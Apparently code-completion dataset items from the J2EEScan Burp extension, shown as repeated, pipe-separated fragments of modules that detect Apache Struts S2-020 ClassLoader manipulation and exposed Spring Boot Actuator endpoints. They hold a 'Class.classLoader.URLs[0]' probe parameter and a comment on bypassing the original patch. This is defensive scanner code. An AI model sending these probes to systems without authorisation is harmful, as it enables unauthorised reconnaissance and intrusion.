import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern; | package burp.j2ee.issues.impl;
public class ApacheStrutsS2020 implements IModule {
private static final String TITLE = "Apache Struts S2-020 ClassLoader Manipulation";
private static final String DESCRIPTION = "J2EEscan identified a ClassLoader Manipulation;"
+ "Apache Struts 2 <i>ParametersInterceptor</i> allows "
+ "access to '<i>class</i>' parameter which is directly mapped to <i>getClass()</i>"
+ " method and allows ClassLoader manipulation.<br />"
+ "A remote user could be able to manipulate the servlet container's classloader to execute"
+ "arbitrary commands on the remote system.<br /><br />"
+ "<b>References</b>:<br /><br />"
+ "http://struts.apache.org/release/2.3.x/docs/s2-020.html<br />"
+ "http://struts.apache.org/release/2.3.x/docs/s2-021.html<br />"
+ "http://struts.apache.org/release/2.3.x/docs/version-notes-23161.html<br />"
+ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0094<br />"
+ "http://drops.wooyun.org/papers/1377<br />"
+ "http://sec.baidu.com/index.php?research/detail/id/18<br />"
+ "http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/<br />";
private static final String REMEDY = "Update the remote Struts vulnerable library";
// Check for specific patterns on response page
private static final Pattern CLASSLOADER_PM = Pattern.compile("Invalid field value for field|No result defined for action",
Pattern.DOTALL | Pattern.MULTILINE);
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
List<IParameter> parameters = reqInfo.getParameters();
URL curURL = reqInfo.getUrl();
byte[] modifiedRawRequest = null;
List<IScanIssue> issues = new ArrayList<>();
| // Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/ApacheStrutsS2020.java
import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
package burp.j2ee.issues.impl;
public class ApacheStrutsS2020 implements IModule {
private static final String TITLE = "Apache Struts S2-020 ClassLoader Manipulation";
private static final String DESCRIPTION = "J2EEscan identified a ClassLoader Manipulation;"
+ "Apache Struts 2 <i>ParametersInterceptor</i> allows "
+ "access to '<i>class</i>' parameter which is directly mapped to <i>getClass()</i>"
+ " method and allows ClassLoader manipulation.<br />"
+ "A remote user could be able to manipulate the servlet container's classloader to execute"
+ "arbitrary commands on the remote system.<br /><br />"
+ "<b>References</b>:<br /><br />"
+ "http://struts.apache.org/release/2.3.x/docs/s2-020.html<br />"
+ "http://struts.apache.org/release/2.3.x/docs/s2-021.html<br />"
+ "http://struts.apache.org/release/2.3.x/docs/version-notes-23161.html<br />"
+ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0094<br />"
+ "http://drops.wooyun.org/papers/1377<br />"
+ "http://sec.baidu.com/index.php?research/detail/id/18<br />"
+ "http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/<br />";
private static final String REMEDY = "Update the remote Struts vulnerable library";
// Check for specific patterns on response page
private static final Pattern CLASSLOADER_PM = Pattern.compile("Invalid field value for field|No result defined for action",
Pattern.DOTALL | Pattern.MULTILINE);
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
List<IParameter> parameters = reqInfo.getParameters();
URL curURL = reqInfo.getUrl();
byte[] modifiedRawRequest = null;
List<IScanIssue> issues = new ArrayList<>();
| if (!isJavaApplicationByURL(curURL)) { |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/ApacheStrutsS2020.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern; | String classLoaderStringTest = "testClassloaderManipulation" + unixTime;
/**
* Make a request containing our injection test in the insertion point
*
* Original fix for this vulnerability was to to forbid the
* (.*\.|^)class\..* regex
* https://github.com/apache/struts/commit/aaf5a3010e3c11ae14e3d3c966a53ebab67146be
*
* It was possible to bypass this "protection" using "Class.classloader"
* (capital 'C').
*
* This payload covers also Apache Struts S2-021 advisory, caused by a
* wrong patch attempt.
*/
modifiedRawRequest = callbacks.getHelpers().addParameter(rawrequest,
callbacks.getHelpers().buildParameter("Class.classLoader.URLs[0]",
classLoaderStringTest, IParameter.PARAM_URL)
);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), modifiedRawRequest);
// Get the response body
byte[] responseBytes = checkRequestResponse.getResponse();
String response = helpers.bytesToString(responseBytes);
Matcher matcher = CLASSLOADER_PM.matcher(response);
if (matcher.find()) { | // Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/ApacheStrutsS2020.java
import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
String classLoaderStringTest = "testClassloaderManipulation" + unixTime;
/**
* Make a request containing our injection test in the insertion point
*
* Original fix for this vulnerability was to to forbid the
* (.*\.|^)class\..* regex
* https://github.com/apache/struts/commit/aaf5a3010e3c11ae14e3d3c966a53ebab67146be
*
* It was possible to bypass this "protection" using "Class.classloader"
* (capital 'C').
*
* This payload covers also Apache Struts S2-021 advisory, caused by a
* wrong patch attempt.
*/
modifiedRawRequest = callbacks.getHelpers().addParameter(rawrequest,
callbacks.getHelpers().buildParameter("Class.classLoader.URLs[0]",
classLoaderStringTest, IParameter.PARAM_URL)
);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), modifiedRawRequest);
// Get the response body
byte[] responseBytes = checkRequestResponse.getResponse();
String response = helpers.bytesToString(responseBytes);
Matcher matcher = CLASSLOADER_PM.matcher(response);
if (matcher.find()) { | issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/SpringBootActuator.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; |
URL url = reqInfo.getUrl();
String host = url.getHost();
int port = url.getPort();
String protocol = url.getProtocol();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
for (String springboot_path : SPRINGBOOT_ACTUATOR_PATHS) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), springboot_path);
byte[] webconsoleRequest = helpers.buildHttpRequest(urlToTest);
// make a request containing our Spring Boot endpoint
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), webconsoleRequest);
byte[] requestResponse = checkRequestResponse.getResponse();
// look for matches of our active check grep string
for (byte[] GREP_STRING : GREP_STRINGS) {
| // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/SpringBootActuator.java
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
URL url = reqInfo.getUrl();
String host = url.getHost();
int port = url.getPort();
String protocol = url.getProtocol();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
for (String springboot_path : SPRINGBOOT_ACTUATOR_PATHS) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), springboot_path);
byte[] webconsoleRequest = helpers.buildHttpRequest(urlToTest);
// make a request containing our Spring Boot endpoint
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), webconsoleRequest);
byte[] requestResponse = checkRequestResponse.getResponse();
// look for matches of our active check grep string
for (byte[] GREP_STRING : GREP_STRINGS) {
| List<int[]> matches = getMatches(requestResponse, GREP_STRING, helpers); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/SpringBootActuator.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; | int port = url.getPort();
String protocol = url.getProtocol();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
for (String springboot_path : SPRINGBOOT_ACTUATOR_PATHS) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), springboot_path);
byte[] webconsoleRequest = helpers.buildHttpRequest(urlToTest);
// make a request containing our Spring Boot endpoint
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), webconsoleRequest);
byte[] requestResponse = checkRequestResponse.getResponse();
// look for matches of our active check grep string
for (byte[] GREP_STRING : GREP_STRINGS) {
List<int[]> matches = getMatches(requestResponse, GREP_STRING, helpers);
if (matches.size() > 0) {
| // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/SpringBootActuator.java
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
int port = url.getPort();
String protocol = url.getProtocol();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
for (String springboot_path : SPRINGBOOT_ACTUATOR_PATHS) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), springboot_path);
byte[] webconsoleRequest = helpers.buildHttpRequest(urlToTest);
// make a request containing our Spring Boot endpoint
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), webconsoleRequest);
byte[] requestResponse = checkRequestResponse.getResponse();
// look for matches of our active check grep string
for (byte[] GREP_STRING : GREP_STRINGS) {
List<int[]> matches = getMatches(requestResponse, GREP_STRING, helpers);
if (matches.size() > 0) {
| callbacks.addScanIssue(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/SpringBootActuator.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; | if (matches.size() > 0) {
callbacks.addScanIssue(new CustomScanIssue(
baseRequestResponse.getHttpService(),
urlToTest,
checkRequestResponse,
TITLE,
DESCRIPTION,
